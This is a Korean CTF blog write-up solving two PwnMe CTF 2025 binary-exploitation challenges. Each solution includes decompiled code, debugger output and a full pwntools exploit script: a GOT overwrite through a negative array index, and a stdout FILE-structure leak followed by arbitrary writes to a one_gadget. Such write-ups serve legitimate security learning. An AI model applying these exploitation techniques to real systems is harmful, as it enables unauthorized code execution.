Void
PwnMe CTF 2025 - PWN 본문
- GOT
- Einstein
GOT
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
idx = 0;
puts("Hey ! I've never seen Game of Thrones and i think i misspelled a name, can you help me ?");
puts("Which name is misspelled ?\n1. John\n2. Daenarys\n3. Bran\n4. Arya");
fwrite("> ", 1uLL, 2uLL, stdout);
__isoc99_scanf("%d", &idx);
if ( idx > 4 )
{
puts("Huuuhhh, i do not know that many people yet...");
_exit(0);
}
puts("Oh really ? What's the correct spelling ?");
fwrite("> ", 1uLL, 2uLL, stdout);
read(0, &PNJs[idx], 0x20uLL);
puts("Thanks for the help, next time i'll give you a shell, i already prepared it :)");
return 0;
}
idx에 음수를 입력받을 수 있기 때문에 read() 에서 oob가 발생한다.
void __cdecl shell()
{
system("/bin/sh");
}
.got.plt:0000000000403FE8 ; ===========================================================================
.got.plt:0000000000403FE8
.got.plt:0000000000403FE8 ; Segment type: Pure data
.got.plt:0000000000403FE8 ; Segment permissions: Read/Write
.got.plt:0000000000403FE8 _got_plt segment qword public 'DATA' use64
.got.plt:0000000000403FE8 assume cs:_got_plt
.got.plt:0000000000403FE8 ;org 403FE8h
.got.plt:0000000000403FE8 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000403FF0 qword_403FF0 dq 0 ; DATA XREF: sub_401020↑r
.got.plt:0000000000403FF8 qword_403FF8 dq 0 ; DATA XREF: sub_401020+6↑r
.got.plt:0000000000404000 off_404000 dq offset _exit ; DATA XREF: __exit↑r
.got.plt:0000000000404008 off_404008 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000404010 off_404010 dq offset __stack_chk_fail
.got.plt:0000000000404010 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000404018 off_404018 dq offset system ; DATA XREF: _system↑r
.got.plt:0000000000404020 off_404020 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000404028 off_404028 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000404030 off_404030 dq offset __isoc99_scanf
.got.plt:0000000000404030 ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000404038 off_404038 dq offset fwrite ; DATA XREF: _fwrite↑r
.got.plt:0000000000404038 _got_plt ends
.got.plt:0000000000404038
.data:0000000000404040 ; ===========================================================================
....
.bss:0000000000404060 ; ===========================================================================
.bss:0000000000404060
.bss:0000000000404060 ; Segment type: Uninitialized
.bss:0000000000404060 ; Segment permissions: Read/Write
.bss:0000000000404060 _bss segment align_32 public 'BSS' use64
.bss:0000000000404060 assume cs:_bss
.bss:0000000000404060 ;org 404060h
.bss:0000000000404060 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000404060 public __bss_start
.bss:0000000000404060 __bss_start db ? ; DATA XREF: sub_401160+4↑r
.bss:0000000000404060 ; sub_401160+16↑w
.bss:0000000000404061 align 20h
.bss:0000000000404080 public PNJs
.bss:0000000000404080 ; identity_0 PNJs[4]
.bss:0000000000404080 PNJs identity_0 4 dup(<?>) ; DATA XREF: main+DC↑o
.bss:0000000000404080 _bss ends
.bss:0000000000404080
PNJs 에서 got에 접근할 수 있다. puts got를 shell()로 overwrite하면 쉘을 얻을 수 있다.
from pwn import *
p=process('./got')
shell=0x00000000004012B8
p.sendlineafter(b'> ', b'-4')
payload=p64(shell)*2
p.sendafter(b'> ', payload)
p.interactive()
Einstein
int __cdecl handle()
{
int offset; // [rsp+8h] [rbp-38h] BYREF
unsigned int size; // [rsp+Ch] [rbp-34h] BYREF
unsigned __int64 *wher; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 wat; // [rsp+18h] [rbp-28h] BYREF
unsigned __int64 *wher2; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 wat2; // [rsp+28h] [rbp-18h] BYREF
void *allocated; // [rsp+30h] [rbp-10h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
puts("\nHow long is your story ?");
__isoc99_scanf("%u", &size);
if ( size <= 0x27 )
{
puts("Well... It seems you don't really want to talk to me that much, cya.");
_exit(1337);
}
allocated = malloc(size);
puts("What's the distortion of time and space ?");
__isoc99_scanf("%u", &offset);
puts(
"Well your story is quite long, time may be distored, but it is a priceless ressource, i'll give you a few words only"
", use them wisely.");
read(0, (char *)allocated + offset, 0x22uLL);
puts("Everything is relative... Or is it ???");
__isoc99_scanf("%llu %llu", &wher, &wat);
__isoc99_scanf("%llu %llu", &wher2, &wat2);
*wher = wat;
*wher2 = wat2;
return 0;
}
malloc size 제한이 없으며, 22byte read()의 chunk offset에도 제한이 없고, 2번의 aaw 기회가 주어진다. 익스플로잇에서 가장 먼저 해야할 것은 stack leak과 libc leak이다.

pwndbg> vmmap libc
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x7ff6e102c000 0x7ff6e1130000 rw-p 104000 0 [anon_7ff6e102c]
► 0x7ff6e1130000 0x7ff6e1156000 r--p 26000 0 /libc.so.6
► 0x7ff6e1156000 0x7ff6e12d5000 r-xp 17f000 26000 /libc.so.6
► 0x7ff6e12d5000 0x7ff6e132a000 r--p 55000 1a5000 /libc.so.6
► 0x7ff6e132a000 0x7ff6e132e000 r--p 4000 1f9000 /libc.so.6
► 0x7ff6e132e000 0x7ff6e1330000 rw-p 2000 1fd000 /libc.so.6
0x7ff6e1330000 0x7ff6e133f000 rw-p f000 0 [anon_7ff6e1330]
pwndbg> p/x 0x7ff6e1130000-0x7ff6e102c010
$1 = 0x103ff0
size를 0x100000으로 설정하고 rax를 보면 0x7ff6e102c010이다. libc base는 0x7ff6e1130000이므로 libc에 aaw가 가능하다.
__isoc99_scanf("%u", &offset);
puts(
"Well your story is quite long, time may be distored, but it is a priceless ressource, i'll give you a few words only"
", use them wisely.");
read(0, (char *)allocated + offset, 0x22uLL);
puts("Everything is relative... Or is it ???");
read() 이후 puts()를 실행하므로 stdout의 IO FILE을 수정해서 stack, libc leak을 동시에 진행할 수 있다.

stdout+0x120에 stack 주소가 있다. _IO_ptr_write(stdout+0x28)를 수정해서 stdout+0x120 까지 출력하게 만들 수 있으며 이를 통해 leak이 가능하다.

leak 이후 handle()을 나오면 main()에서 SYS_exit()가 호출된다. 레지스터 상태를 보면 rax가 0인것을 확인할 수 있다.
$ one_gadget ./libc.so.6
0x54f4c posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x16b4aa, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x54f53 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x16b4aa, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xeb60e execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
2번의 aaw가 가능하므로 return address를 첫번째 원가젯으로 덮고, [rbx]==NULL 컨디션을 맞추기 위해 [rbx] 를 0으로 수정하면 된다.
from pwn import *
log = lambda x : print(f'[*] {x} : {hex(eval(x))}')
p=process('./einstein_patched')
l=ELF('./libc.so.6')
p.sendlineafter(b'How long is your story ?\n', str(0x100000).encode())
offset=0x103ff0+l.symbols['_IO_2_1_stdout_']+0x28 #_IO_write_ptr
log('offset')
p.sendlineafter(b'What\'s the distortion of time and space ?\n', str(offset).encode())
p.sendafter(b'wisely.\n', b'\xc8')
data=p.recv()
libc_base=u64(data[0x5:0xd])-0x2008f0
log('libc_base')
stack=u64(data[0x9d:0xa5])-0x120
log('stack')
oneshot=libc_base+0x54f4c
p.sendline(str(stack).encode())
p.sendline(str(oneshot).encode())
p.sendline(str(stack+0x120).encode()) #[rbx]=0
p.sendline(b'0')
p.interactive()'CTF' 카테고리의 다른 글
| WolvCTF 2025 - PWN (0) | 2025.03.24 |
|---|---|
| EHAX CTF 2025 (0) | 2025.02.17 |
| CCE 2024 Quals | Pwn - Untrusted Compiler (0) | 2025.02.03 |
| YISF 2024 Finals | Pwn - Happy SIGnal (0) | 2025.01.21 |
| UofTCTF 2025 - Pwn (4/6) (0) | 2025.01.15 |